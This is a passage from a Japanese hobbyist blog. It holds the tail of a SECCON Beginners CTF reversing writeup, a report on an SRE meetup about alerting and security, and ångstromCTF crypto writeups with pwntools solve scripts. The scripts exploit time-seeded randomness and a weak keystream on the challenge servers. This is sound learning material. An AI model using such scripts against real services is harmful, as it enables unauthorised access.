                        target_char = param[0x1a];
                        if (target_char == 0x78) {
                          return 0x75;
                        }
                        if (target_char < 0x79) {
                          if (target_char == 0) {
                            return 0;
                          }
                          if (target_char != 0x2a) {
                            return 0x89;
                          }
                          return 0x1a;
                        }
                        if (target_char == 0xcf) {
                          return 0xc9;
                        }
                        if (target_char == 0xfc) {
                          return 0x4f;
                        }
                        if (target_char != 0xa1) {
                          return 0x89;
                        }
                        return 0x9c;
                      }
                      if (target_char < 0x73) {
                        if (target_char == 0x1a) {
                          return 0x48;
                        }
                        if (target_char != 0x4a) {
                          return 0x43;
                        }
                        return 0x28;
                      }
                      if (target_char == 0xd4) {
                        return 0x8f;
                      }
                      if (target_char == 0xdf) {
                        return 0x29;
                      }
                      if (target_char != 0xb4) {
                        return 0x43;
                      }
                      return 0x39;
                    }
                    if (target_char == 0x3e) {
                      return 0x4b;
                    }
                  }
                  else {
                    if (target_char == 0xda) {
                      return 0x73;
                    }
                    if (target_char == 0xdd) {
                      return 0xc2;
                    }
                    if (target_char == 0x82) {
                      return 0x68;
                    }
                  }
                  return 0x6f;
                }
                if (target_char == 0x97) {
                  return 0xaa;
                }
              }
              else {
                if (target_char == 0xd8) {
                  return 0x93;
                }
                if (target_char == 0xdf) {
                  return 0x86;
                }
                if (target_char == 0xcf) {
                  return 0x35;
                }
              }
              return 0xa6;
            }
            if (target_char == 0x42) {
              return 0x9d;
            }
          }
          else {
            if (target_char == 0xb9) {
              return 0xbc;
            }
            if (target_char == 0xc0) {
              return 0xf1;
            }
            if (target_char == 0x6b) {
              return 0x9e;
            }
          }
          return 0xe0;
        }
        if (target_char == 0xb3) {
          return 0x39;
        }
      }
      return 0xc;
    }
  }
  return sub_char;
}

約600行。ヒントにもある通り、何かしら自動で解析してくれるツールを導入したら良さそう。angrしか知らないので、angrでやってみようと思ったのですが、いい結果が得られず。にわかユーザーだから使い方がわからない…。あとでwriteup読もう。

たかだか600行!なんとかなる!と、気合で解いた。意外と単純なロジックになっており、1文字ずつ次に進めるよう値を選択していくと30分くらいで解けた。

最後の16進の配列からflagに変換するコードだけ。

arry = [0x63, 0x74, 0x66, 0x34, 0x62, 0x7b, 0x73, 0x70, 0x34, 0x67, 0x68, 0x33, 0x74, 0x74, 0x31, 0x5f, 0x72, 0x31, 0x70, 0x70, 0x33, 0x72, 0x31, 0x6e, 0x30, 0x7d] 

for a in arry:
    print(chr(a),end='')

実行結果

$ python solve.py 
ctf4b{sp4gh3tt1_r1pp3r1n0}

[Misc] Welcome [Beginner]

Welcome to SECCON Beginners CTF 2020!

フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。

Discordの#announcementチャネルの説明にいました。

f:id:kusuwada:20200524150628p:plain

感想

今回から、問題の想定解法の難易度が記載されるようになったみたいです。これはとっても嬉しい!少なくとも簡単そうな問題から手を付けられる。

いつもだけど、ソロ参加なのにハイスコア出してる人も沢山いて、上を見たらキリが無いなぁ…。化け物かな…。
時間があまりなかった去年のほうが戦績良かったし、自分は全然進歩しないなぁ、なんてしょんぼりしてしまうけど、しょうがない。あせらずやれることをやっていこう。
やったことある問題が運良く出ると解けるし、解けないものはしょうがない。続けることに意味がある。うんうん。

ちょっと振り返ってみると、解けてない問題にかけた時間が結構長かったな。rustを入れてみたけどbuildエラーで落ちたり、AndroidStudioでも実行エラーが取り切れなかったり、PostScriptで書いてある!って気づいてから解読するのにマニュアル引き引き頑張ったり(解読できなかった)。普段使わない環境や言語に振り回された感。

一方、Pwnの Beginner's Heap は最近じっくりやったばっかりの tcache 絡みの問題だったし、CryptoのNoisyやRSAも割と粘った。Webも、次のunzipはこないだやったLFIかな〜なんて言いながら結構時間を使って試していたので、問題に取り組めるくらいにはレベルアップしたということにしておこう。目移りしすぎて逆に何も出来ないやつになってる気もするけど…。

ということで、サーバーが生きてるうちに頑張って復習終わらせるぞーᐠ( ᐛ )ᐟ!

噂によると、今回も良問揃いということなので楽しみ。運営の皆さんありがとうございました!(&もうしばしサーバーを生かしておいて下さいませ…。何卒🙏)

SRE Lounge #12 (オンライン開催) イベント参加レポート

2020年5月22日(金)に開催された、SRE Lounge #12 (オンライン開催) に参加しました。というか視聴しました。

sre-lounge.connpass.com

前回 SRE Lounge に参加したのは去年の2月、産休に入る前で #7 でした。イベント参加レポートも書いてた、えらい。

今回は「初のオンライン開催、各社SREの取り組みを紹介」ということで、SRE(というか開発運用)からすっかり離れて1年半近く、最近どうなってるんかなぁ?という思いもあって参加しました。オンライン開催とてもありがたい。

今回も、自分の理解のためのまとめと、ちょいちょい感想、みたいになった。
普段こういうイベントに参加すると、自分のポジションからどう感じたか、どうアクションに活かすか、みたいなことを中心にメモするんだけど、現在休職中。ポジショントークするポジションがないわー!とふと気づくなど。

SRE Loungeとは

SRE Lounge は、サイトの信頼性、エンジニアリング、スケールする分散システムに深い関心を持つエンジニアのための、オープンな集いの場です。

SRE の思想や考え方に興味や関心のある様々な人々と交流し、日々の現場の取り組みや研究成果を伝え、日本のエンジニア界隈を盛り上げることを目的としています。

Facebook グループや、Slackもあるそうです。

Alerting Strategy for Self-contained Team

Quipper Ltd Takeshi Kondo (@chaspy_ ) さん

speakerdeck.com

アラートの話。「アラートは好きですか?」から始まった。
タイトルにもあるSelf-contained = 自己完結化。自分たちで完結した開発できる状態を支えていくのをミッションとしているとのこと。
アラートは基本的にSREが受けて、Developチームにエスカレーションする構図だったが、開発メンバーが増え、SREがボトルネックになる状態を避けたいのもあり、自己完結化を目指すように。

本日のテーマ

  • アラートのレビューは定期的にやりましょう
  • アラートはすべてSLOのためにあるという意識
  • (SREチームも開発チームも)一緒にやりましょう

まず、アラートのレビューについて。1週間くらいかけてアラートを全部見直した。166個あったアターとから、40個を削減。
ポリシーを決め、これに沿って削減。「アクションに繋がること」というポリシーはとても大事と思う。
結構減らせたんだなーという印象。CPUアラートなど重複しがちなアラートがあったので、重複・不要なものを中心に削減していったそう。
アラートは3段階。Emergency, alret, noticeとして、Slackでチャネル分けしている。

次は何をアラート対象にするかの話。CPU使用率が高い場合、直接障害につながるわけではないが、いずれ障害につながる。OOMも然り。だが、こういったメトリクスを追っていくとキリがない。
なので、CPU使用率などのメトリクスベースではなくSLOに注目してアラートを設定する運用にしてみた。まずはSLOを定めて運用してみて、見えてきた運用の仕方。
CPUやOOMなどのメトリクスは、別にダッシュボードで確認できるようにしている。こちらは時系列で終えたほうが良いというのもあり、この運用に落ち着いている。

最後に、アラートの処理とチームいついて。
サービスチームはSLOに関するアラートだけを見るように。アラートの飛ばし方は、然るチャネルに然るアラートを飛ばすという愚直だがシンプルな運用に。この仕組を素早く展開できるようにする方に注力した。

SRE、開発チーム、境界とか引かずに一緒にやっていきましょう。

アラートのレビューについては、大事だとわかっていても中々手がつかず、いざ手を付けてみても家の片付けと一緒で「このアラート本当に消して大丈夫?」みたいになってなかなか手放せず(消せず)。そしてどんどん増える一方のアラート…。ってなりがちなので、サービス運用開始前から定期的に精査すべき。ってのを再度心に刻んだ。

メトリクスベースではなくSLOベースのアラートを、っていうのは「入門監視」にもあったってどなたか呟いていらっしゃったけど、あまり馴染みがなくてとてもためになった。確かにメトリクス系は時系列で状態を判断したいから、アラートで駆動するのではなくてDashboard化して日々のモニタリングでカバーしたほうが良いのかもしれない。これもアラート削除と一緒で、切り替えにはかなり勇気がいりそう。

最後にSREと開発ボーダレスの話。チーム編成の背景やチーム、サービス規模にもとても依存すると思う。もともとほぼ一体化しているようなチーム編成もあるし、かっちり役割もチームも分けている編成もある。けど逆に考えて、ボーダレスとまでは言わなくても、お互い手を出し合える状態が維持できるように、サービス規模が大きくなってもチーム編成やコミュニケーションを工夫できると良いんだろうなぁ。そういう話も聞いてみたいな。

SecurityをSREチームの成果指標に加えた話

eureka, inc. 恩田拓也( takuya_onda_3 ) さん

speakerdeck.com

ということで、セキュリティ×SREの話。
予防・防御や、検知には気が向いていたが、アセットマネジメントで来てますか、とかバケットに何入ってますか、みたいな 非技術分野 なところへのセキュリティの遅れというのが課題だった。今回は、セキュリティチームが出来たときに、SREチームとどう協業して今に至るか、という話。

何をやったか。

  • DevOpsのように、SREチームとセキュリティチームで、部門をまたいで目標を共有
  • タグによるリソース管理・構成の標準化など、安全な選択をデフォルトに
  • 無駄なコミュニケーションが発生しないような、情報を欲している人が自分でPullできる状態にしておく

1つ目のSREチームとセキュリティチームで設定した目標について
アラートに対して、目標収束日数以内に収束できたかどうかのパーセンテージをインジケータとして使用した。脅威度(CVSS)によって対応目標日数を変えて定めている。脅威が高いほど素早く対応すべき。

2つ目の「安全な選択をデフォルトに」について
リソースの管理をタグでする、サービス構成を標準化する、Securityアカウントの集約、など。人的&金銭的コストが高くつく、大変な選択をせずにベスプラを選択できるように導いてくイメージかな。
意識しているつもりだけど、最新のサービスや仕組みにキャッチアップしていかなきゃいけないし、トレンドやベストプラクティスもウォッチしとかなきゃだし、更にそれを標準化して横展開していくとなると、相当の熱量がいる。技術だけじゃなくて人も動かす能力が必要。短い言葉だけど色々詰まってるなー、と聞きながらぼんやり考えてました。でもこういうのがやっていけるエンジニアでありたいなぁ。

3つ目のコミュニケーションの疎結合化は、これも中々気になりつつどうするのが良いかわからないやつ。全体の構成図が揃っていてメンテされている状態を維持するのはとても大変。でもセキュリティの観点からも、そ言ういう情報にアクセスしたいと思った人が、ほいっと見に行ける状態を作っておけるのが理想。この前の #InfraStudy のLtにも同じような話題が出てきた。
これうまくやらないと、もし一度この状態に持っていけたとしても、メンテナンスが人に依存しまくってしまって、いつも気にかけてメンテしてくれる人がある日突然いなくなったら、無法地帯に。長期運用まで考えると正解はどこにあるんだろうなぁ…。

特に「安全な選択をデフォルトに」の章、

  • 持ち物を管理しやすくするために用意されている仕組みを、ちゃんと把握して使うようにする
  • 構成はなるべく標準化して管理・把握・最新化しやすくする

など、開発運用する身として意識したほうが良さそうなトピックが詰まってたな。再度肝に銘じておきたい。

SLI, SLOとカオスエンジニアリング、そしてオブザーバビリティ

New Relic株式会社 大谷 和紀 ( @katzchang ) さん

speakerdeck.com

↓↓NewRelicさんのブログ↓↓から、より良いSREを実践するためのtipsをいくつか紹介。面白そうな記事が沢山!

blog.newrelic.co.jp

ブログの紹介ベースなのでテンポが早くメモが追いつかなかった。面白かったフレーズを。

  • "誰よりも早く障害に気づいたなら、障害はなかったことにしてよいのでは。誰も不利益を被っていない、がっかりしていない。→誰もがっかりしないうちに直そう。"

  • "カオスエンジニアリングは、システムを壊すのが目標ではなく、学んで改善するのが目標。"

  • "SREは燃え尽きに気をつけて。SREはサービスの安定やコストダウンが要求される。コストダウンは最初1/3くらいは楽にできる。そこからがとても厳しい。評価もされなくなる。品質管理を「前倒し」して、設計やユーザー調査など上流段階から踏み込むことで、うまいことできるのでは。"

番外編。大谷さんは記事の翻訳もよくされているらしいのですが…

  • "みんなDeepL使ってる。翻訳のモチベーションが下がるくらい。「DeepL使ってねー」って言いたくなる。"

いつもついつい慣れてるgoogle翻訳を使っちゃうのですが、この際デフォルト翻訳エンジンを変えてみよう。本当は翻訳機能使わなくて大丈夫なくらい英語ができるようになりたいけど…🥺

  • "Pure SREとEmbeded SRE、Pureは中央のSREなイメージ。Embededは書くエンジニアリングチームに入って活動する。"

これは、うちもSRE立ち上げるときに似た思想でやっていました。名前は「Coreメンバーとそれ以外」だったので、PureとEmbededのほうが断トツで格好いいなー。

全体の感想など

初のオンライン開催にも関わらず、とてもスムーズな進行、安定した配信でした。さすがSRE…。QAも質問をポンポン拾っていってポンポン答えていて、テンポ感がとても良かったように思います。

…そう、テンポ感がとても良かった。1年半ほど社会に出ず幼児&乳児と戯れる日々を送っていた私には、皆さんの喋りが1.5倍速に聞こえて、最初配信バグってるんじゃ?と思う程でした…。メモも全然間に合わないし、他の人のつぶやきを見て「ほーう」とか言ってたらもう置いていかれてる…。
前はもうちょっと喰らいついて行けてたと思うんだけどなぁ…( ˘•ω•˘ ).。oஇ
あと1ヶ月ちょいで復職の予定なので、とっても強烈な刺激 & リハビリになりました。ありがとうございました。

あと、SRE Loungeは前もTwitterのTimelineが恐ろしく活発で、「みんな話聞きながら、スライド見ながら、発言をまとめてツイートしてんの?すげーーー!!」って思ってたんですけど、今回も健在でした。でもその雰囲気、リモートでも全然違和感なくすっと馴染んできて、リモートのデメリットは視聴側としては全く感じませんでした。終わった後にお酒飲みながらワイワイが無いくらいかな。

今後もしばらくはオンライン開催を予定しているとのこと。とてもありがたい。

ångstromCTF 2020 Crypto分野の復習 writeup

2020年 3/14(土)9:00 - 3/19(木)9:00 JST で開催された、ångstromCTFCrypto分野の復習です。CTF Timesはこちら
他の分野のwriteup, 戦績はこちら。

kusuwada.hatenablog.com

Crypto問最後の Lo-Kee はなんかヤバそうな匂いがしたのと、それまでのやつで力尽きたので手つかずです。

f:id:kusuwada:20200426164557p:plain

[Crypto] Keysar

Hey! My friend sent me a message... He said encrypted it with the key ANGSTROMCTF.

He mumbled what cipher he used, but I think I have a clue.

Gotta go though, I have history homework!!

agqr{yue_stdcgciup_padas}

これ、競技中に力技で解いたのですが、他の方のwriteup見ると "Keyed Caesar Cipher" というやつだったみたいです。

文字マップがアルファベット順ではなく、与えられたキーの文字列から始まる文字列+キーに含まれないアルファベットはその後に続く。例えば、keyがTESTKEYだとすると、マップはTESTKEYABCDFGHIJLMNOPQRUVWXZとなる。

下記のページで復号可能。

www.boxentriq.com

[Crypto] one time bad

My super secure service is available now!

Heck, even with the source, I bet you won't figure it out.

nc misc.2020.chall.actf.co 20301

server.pyが配布されます。

import random, time
import string
import base64
import os

def otp(a, b):
    r = ""
    for i, j in zip(a, b):
        r += chr(ord(i) ^ ord(j))
    return r


def genSample():
    p = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(random.randint(1, 30))])
    k = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(len(p))])

    x = otp(p, k)

    return x, p, k

random.seed(int(time.time()))

print("Welcome to my one time pad service!\nIt's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!")
print("You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.")
print("Enter:")
print("\t1) Request sample")
print("\t2) Try your luck at decrypting something!")

while True:
    choice = int(input("> "))
    if choice == 1:
        x, p, k = genSample()
        print(base64.b64encode(x.encode()).decode(), "with key", base64.b64encode(k.encode()).decode())

    elif choice == 2:
        x, p, k = genSample()
        print(base64.b64encode(x.encode()).decode())
        a = input("Your answer: ").strip()
        if a == p:
            print(os.environ.get("FLAG"))
            break

        else:
            print("Wrong! The correct answer was", p, "with key", k)

指定されたホストにつなぐと、こんな感じ。

$ nc misc.2020.chall.actf.co 20301
Welcome to my one time pad service!
It's so unbreakable that *if* you do manage to decrypt my text, I'll give you a flag!
You will be given the ciphertext and key for samples, and the ciphertext for when you try to decrypt. All will be given in base 64, but when you enter your answer, give it in ASCII.
Enter:
    1) Request sample
    2) Try your luck at decrypting something!
> 1
LRoJBQcOIQs5CyUPEBEDGCMjLiEeCjcDMRMkLTo= with key eXF4S3NLWERRTVRGWUJQc2VKbHFNZEZUQXBDeGo=
> 1
OhIkHgocAAoDAw4VEjgeMAw/Ngo4JA== with key anBtd2ZxbWFZaktndHlRanptR011cQ==
> 1
LyoU with key anJx
> 2
Fg==
Your answer: test
Wrong! The correct answer was G with key Q

問題のタイトルとソースコードから、random.seed()が接続後に一度しか呼ばれていないことに起因する、random配列が予測できるところが脆弱っぽい…?
choice = 1を選択したときは、genSample()関数内でrandom.randintを3回呼んでいる。ここで生成したx,p,kは、x,kが出力として返され、px xor kで求めることができる。

choice = 2を選択したときは、与えられたxに対してpを予測し、答えを入れるとflagが表示されるみたい。間違えてもpkを教えてくれる。

  1. まずはrandom.randit()の配列を抽出する
  2. randit()配列を予想する

これで行けないかなー?pythonrandom()関数の予測は

Mersenne Twisterの出力を推測してみる - ももいろテクノロジー

こちらの記事を以前読んだことがありました。

これを参考に、624回rand関数が呼ばれたら、その後のrand関数で生成される関数は予測できそう…。
と思ったんだけど、getrandbits(32)以外の関数・引数だと一致しない。うーむ。

ここで競技終了。

ここから復習

いくつかwriteupを読んでみたところ、2つの解法を見つけました。難しく考えすぎていたか。

  1. randomseedtimeベースなので、ほぼ同時接続して通信させる
  2. kが特定の一文字になる確率が高いことを利用したbrute-force
  3. 比較的レンジが絞られているseedを、Sampleで得られたx,p,kから予測する

せっかくなので全部やってみることにしました。

1.randomのseedがtimeベースなので、ほぼ同時接続して通信させる

random関数のシードがrandom.seed(int(time.time()))と、intで丸めることによって秒単位になった時刻を使っているので、ほぼ同時に接続した通信では同じseedが使用されます。結果、random関数で生成される値も同じになるはずなので、失敗して送られてきた正解をそのまま投げつければ良さそう。

これは思いつきたかったなー!!!!!!

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = "misc.2020.chall.actf.co"
port = 20301

r1 = remote(host, port)
r2 = remote(host, port)

r1.recvuntil(b'> ')
r1.sendline(b'2')
cipher1 = r1.recvuntil(b': ').split(b'\n')[0]
r1.sendline(b'dummy')
res = r1.recv()
ans = res.split(b' ')[5]
key = res.split(b' ')[8]

r2.recvuntil(b'> ')
r2.sendline(b'2')
cipher2 = r2.recvuntil(b': ').split(b'\n')[0]
if cipher1 == cipher2:
    r2.sendline(ans)
    print(r2.recvall())
else:
    print('wrong cipher! c1: ' + cipher1 + ', c2: ' + cipher2)

実行結果

$ python solve.py 
[+] Opening connection to misc.2020.chall.actf.co on port 20301: Done
[+] Opening connection to misc.2020.chall.actf.co on port 20301: Done
[+] Recieving all data: Done (56B)
[*] Closed connection to misc.2020.chall.actf.co port 20301
b'actf{one_time_pad_more_like_i_dont_like_crypto-1982309}\n'
[*] Closed connection to misc.2020.chall.actf.co port 20301

2.kが特定の一文字になる確率が高いことを利用したbrute-force

一つは、genSample()関数内でランダムに生成しているp,kの長さが1~30であり、候補の文字列もlen(string.ascii_letters) = 52程度であることから、1/30 * 1/52 = 1/1560の確率でkが特定の一文字になります。なので一文字でbrute-forceをすれば試行回数が少なく結果が得られそう、というもの。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string
from pwn import *

host = "misc.2020.chall.actf.co"
port = 20301

print(len(string.ascii_letters))

r = remote(host, port)
cnt = 0

while True:
    print('cnt: ' + str(cnt))
    r.recvuntil(b'> ')
    r.sendline(b'2')
    r.recvuntil(b': ').split(b'\n')[0]
    r.sendline(b'a')
    res = r.recvline()
    if b'actf{' in res:
        print(res)
        break
    else:
        cnt += 1
        continue

実行結果

$ python solve2.py 
52
[+] Opening connection to misc.2020.chall.actf.co on port 20301: Done
cnt: 0
~(中略)~
cnt: 109
cnt: 110
b'actf{one_time_pad_more_like_i_dont_like_crypto-1982309}\n'
[*] Closed connection to misc.2020.chall.actf.co port 20301

わーお!期待値を大幅に下回る110回目の思考でflagが手に入りました。ラッキー!

3.比較的レンジが絞られているseedを、Sampleで得られたx,p,kから予測する

x,p,kの生成アルゴリズムが公開されていること、randomとは言え時刻ベースのseedを使っているので、seedのレンジがある程度予測できることから(サーバーの時刻が大きくずれていなければ)、seedをlocalのbrute-forceで予測し、次のx,p,kを生成する解法。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import string
import base64
from pwn import *

def otp(a, b):
    r = ""
    for i, j in zip(a, b):
        r += chr(ord(i) ^ ord(j))
    return r

def genSample():
    p = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(random.randint(1, 30))])
    k = ''.join([string.ascii_letters[random.randint(0, len(string.ascii_letters)-1)] for _ in range(len(p))])

    x = otp(p, k)

    return x, p, k

host = "misc.2020.chall.actf.co"
port = 20301

print(len(string.ascii_letters))

r = remote(host, port)
cnt = 0

r.recvuntil(b'> ')
r.sendline(b'1')
res = r.recvuntil(b'> ')
x = base64.b64decode(res.split(b' ')[0]).decode()
k = base64.b64decode(res.split(b' ')[3]).decode()
p = otp(x, k)

for t in range(int(time.time())-20, int(time.time())+20):
    random.seed(t)
    my_x, my_p, my_k = genSample()
    if my_k == k:
        print('seed: ' + str(t))
        break

next_x, next_p, next_k = genSample()

r.sendline(b'2')
r.recvuntil(b': ')
r.sendline(next_p)
print(r.recvline())

実行結果

$ python solve3.py 
52
[+] Opening connection to misc.2020.chall.actf.co on port 20301: Done
seed: 1586233716
b'actf{one_time_pad_more_like_i_dont_like_crypto-1982309}\n'
[*] Closed connection to misc.2020.chall.actf.co port 20301

わー!こんなに色んな解法があるのに一つも思いつかなかったとは!面白いなー。

[Crypto] Discrete Superlog

You've heard of discrete log...now get ready for the discrete superlog.

Server 1: nc crypto.2020.chall.actf.co 20603

Server 2: nc 3.234.224.95 20603

Server 3: nc 3.228.7.55 20603

Hint

just do it lmao

それぞれのサーバーに接続してみます。全部同じような文言が出てきました。Serverがたくさんあるのは予備かな?

$ nc crypto.2020.chall.actf.co 20603
We define a^^b to be such that a^^0 = 1 and a^^b = a^(a^^(b-1)), where x^y represents x to the power of y.
Given this, find a positive integer x such that a^^x = b mod p.
Generating challenge 1 of 10...
p = 723016406727943930447
a = 564447721002380463960
b = 642755755056058439913
Enter x: 

これも競技中に、当てずっぽうと力ずくで解いたのですが、writeupを見ておさらい。

この問題、自分のwriteupにも書いたとおり

a^(a^^(x-1))....と展開していって、x-1 -> 0 になるまで繰り返し、その結果が b mod p になるようなxを求める。

となります。この計算のことを"テトレーション"と呼ぶらしい。

テトレーション(英: tetration)とは、冪乗の次の 4 番目のハイパー演算である。つまり、自らの冪乗を指定された回数反復する二項演算である。超冪(ちょうべき)ともいうが、この語は n ≥ 4 番目の一般のハイパー演算を総称するために用いられることもある。

ほえー!知らなかった。
数学はちゃんと勉強したこと無いので、数式の中に ↑↑ とか出てきたら「アゲアゲ?」ってなっちゃうな…。

べき乗(冪乗)は

a^b = a↑b = a \times a \times \cdots \times a

それに対して、テトレーションは

^ba = a↑↑b = a↑a↑ \cdots ↑ a = {a^{a^{\cdots^a}}}

と展開できます。なので、今回の問題を数式にして表現すると、


^{x}a = b \bmod p

となるxを求めよ、という問題らしい。

普通にtetrationの値を求めようとすると、再帰を用いて

def tetration(a, x):
    if x == 0:
        return 1
    else:
        return pow(a, tetration(a, (x-1)))

のように実装できます。しかしこれでは計算量が爆発してしまい、x=2までくらいしか計算できない。
そこで、

フェルマーの小定理を拡張した、オイラーの定理を使うことで、計算量を抑えることを試みます。

フェルマーの小定理自体は、

p素数とし、ap の倍数でない整数(ap は互いに素)とする時に、

a^{p-1} ≡ 1\ \pmod{p}

すなわち、ap-1 乗を p で割った余りが1になる。

a^{p-1} \bmod p = 1

このフェルマーの小定理を拡張したオイラーの定理は、フェルマーp素数という条件だったのに対し、これを合成数に拡張したもの。

n を正の整数とし、an と互いに素な整数としたとき、

a^{φ(n)} ≡ 1\ \pmod{n}

すなわち、aφ(n) 乗を n で割った余りが1になる。

a^{φ(n)} \bmod n = 1

ここで、φ(n)オイラー関数(totient関数)と言い、正の整数 n に対して、 n と互いに素である 1 以上 n 以下の自然数の個数 φ(n) を与える数論的関数のこと。
例えば、1, 2, 3, 4, 5, 6 のうち 6 と互いに素なのは 1, 52 個であるから、定義によれば φ(6) = 2 である。また例えば 1, 2, 3, 4, 5, 6, 7 のうち 7 以外は全て 7 と互いに素だから、φ(7) = 6

totientについては、pythonだと下記のライブラリで高速に求めることができます。

Number Theory — SymPy 1.5.1 documentation

フェルマーの小定理オイラーの定理については、下記の記事がとてもわかり易かった。

フェルマーの小定理の証明と使い方 - Qiita

更に、オイラーの定理より a^φ(n) % n == 1 と、周期的に1になり、その周期がφ(n)なので

a^{x}\ \%\ n\ =\ a^{x\ \%\ φ(n)}\ \%\ n

が成り立ちます。

今回の問題に当てはめてみると、求めたい a↑↑x % p

^xa\ \%\ p\ =\ a^{T(a,x-1)}\ \%\ p

T(a,x)\ =\ ^xa\ \ \ (=\ a↑↑x)

と表すことが出来ます。※ \bmod%で表記しています。

さらに、オイラーの定理より

a^{T(a,x-1)}\ \%\ p=\ a^{T(a,x-1)\ \%\ φ(p)}\ \%\ p

なので、

^xa\ \%\ p\ =\ a^{T(a,x-1)}\ \%\ p\\
\ \ \ \ \ \ \ \ \ \ \ =\ a^{T(a,x-1)\ \%\ φ(p)}\ \%\ p\\
\ \ \ \ \ \ \ \ \ \ \ =\ a^{a^{T(a,x-2)\%φ(φ(p))}}\ \%\ p\\
\ \ \ \ \ \ \ \ \ \ \ \cdots

と表すことができ、再帰で表現できそうです。
先程のテトレーションを純粋に求めるプログラムをちょっと変更して

from sympy.ntheory import totient

def tetoration_mod(a, x, p):
    if p == 1 or x == 0:
        return 1
    return pow(a, tetoration_mod(a, x-1, totient(p)), p)

これで計算できそう。

あとは、問題文から各値を読み込んで10回xを求めてみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
from sympy.ntheory import totient

def tetoration_mod(a, x, p):
    if p == 1 or x == 0:
        return 1
    return pow(a, tetoration_mod(a, x-1, totient(p)), p)

host = "crypto.2020.chall.actf.co"
port = 20603

r = remote(host, port)

for i in range(10):
    r.recvuntil(b'of 10...\n')
    p = int(r.recvline().split(b' ')[2].strip())
    a = int(r.recvline().split(b' ')[2].strip())
    b = int(r.recvline().split(b' ')[2].strip())
    r.recvuntil(b'Enter x: ')
    
    x = 0
    while True:
        if tetoration_mod(a, x, p) == b:
            break
        x += 1
    print(str(i) + 'th x: ' + str(x))
    r.sendline(str(x).encode())
    ans = r.recvline()
    if ans == b'Correct!\n':
        continue
    else:
        print(ans)
print(r.recvall())

実行結果 

$ python solve.py 
[+] Opening connection to crypto.2020.chall.actf.co on port 20603: Done
0th x: 6
1th x: 7
2th x: 8
3th x: 4
4th x: 4
5th x: 3
6th x: 7
7th x: 2
8th x: 13
9th x: 3
[+] Recieving all data: Done (50B)
[*] Closed connection to crypto.2020.chall.actf.co port 20603
b'flag: actf{lets_stick_to_discrete_log_for_now...}\n'

(๑•̀ㅂ•́)و✧

ところで、なぜ力ずく解法が通ったのかは不明。大きな値を入れることで、サーバー側に付加をかけ、timeout = 正解!を狙った感じになっちゃったのかな?申し訳ない…。 参考にさせてもらったwriteup

[Crypto] Confused Streaming

I made a stream cipher!

nc crypto.2020.chall.actf.co 20601

chall.pyが配布されます。

from __future__ import print_function
import random,os,sys,binascii
from decimal import *
try:
    input = raw_input
except:
    pass
getcontext().prec = 1000
def keystream(key):
    random.seed(int(os.environ["seed"]))
    e = random.randint(100,1000)
    while 1:
        d = random.randint(1,100)
        ret = Decimal('0.'+str(key ** e).split('.')[-1])
        for i in range(d):
            ret*=2
        yield int((ret//1)%2)
        e+=1
try:
    a = int(input("a: "))
    b = int(input("b: "))
    c = int(input("c: "))
    # remove those pesky imaginary numbers, rationals, zeroes, integers, big numbers, etc
    if b*b < 4*a*c or a==0 or b==0 or c==0 or Decimal(b*b-4*a*c).sqrt().to_integral_value()**2==b*b-4*a*c or abs(a)>1000 or abs(b)>1000 or abs(c)>1000:
        raise Exception()
    key = (Decimal(b*b-4*a*c).sqrt() - Decimal(b))/Decimal(a*2)
except:
    print("bad key")
else:
    flag = binascii.hexlify(os.environ["flag"].encode())
    flag = bin(int(flag,16))[2:].zfill(len(flag)*4)
    ret = ""
    k = keystream(key)
    for i in flag:
        ret += str(next(k)^int(i))
    print(ret)

b*b - 4*a*cおや、この公式どこかで見たことがあるぞ…。なんだっけ…。2次方程式の解の公式だ!
コメントの部分に、"これらの厄介な虚数有理数、ゼロ、整数、大きな数などを削除します"とあるので、それ以外のa,b,cの組み合わせを探す。

abs(a)>1000 or abs(b)>1000 or abs(c)>1000

だと落ちるので、a,b,c の絶対値は 1000 以下。

Decimal(b*b-4*a*c).sqrt().to_integral_value()**2!=b*b-4*a*c

の条件に合うa,b,cを入力すると、flagをkeystream(key)関数で生成したkとxorを取ったflagが出力される。条件をまとめるとこんな感じ。

  • b*b > 4*a*c
  • a != 0, b != 0, c != 0
  • Decimal(b*b-4*a*c).sqrt().to_integral_value()**2 != b*b-4*a*c
  • a,b,c の絶対値は 1000 以下

  • 上記の条件に合うa,b,cを考える

  • keystream(key)関数からkを推測する(ただしrandom関数が使われている…!)
  • 出力とkをxorする

条件似合いそうなa,b,cを与えてみます。

$ nc crypto.2020.chall.actf.co 20601
a: -1
b: 2
c: 1
01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101

おお、なんか一個もらえた。んー、でもkを推測するのが難しそう。なんとかk=0にならんかな?

ここから復習

ここで競技時間は終了してしまいましたが、なんとこれflagだった…orz。

from Crypto.Util.number import *

stream = '01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101'

print(long_to_bytes(int(stream,2)))

実行結果

$ python solve.py 
b'actf{down_to_the_decimal}'

ただ、原理を理解して得られたわけではないのでちゃんと復習する。

ここから復習

これ、keystream()関数で生成されるkは常に0にできる条件を使っていたのでした。

keyに0.5以下の値が渡されると、

ret = Decimal('0.'+str(key ** e).split('.')[-1])

において、key ** eが非常に小さくなり、Decimal('0.'+str(key ** e).split('.')[-1])自体も、とても小さい値になります。(2.3E-340など)

for i in range(d):
            ret*=2

retに対して施されますが、deに比べて小さすぎるために

yield int((ret//1)%2)

は常に int(({1以下の値}//1)%2)となり、0が返ります。結果、flag xor 0の結果が表示されているので、これをint to byte decodeすればflagそのものだったというわけ。

なんとかk=0にならんかな?

なっとった!

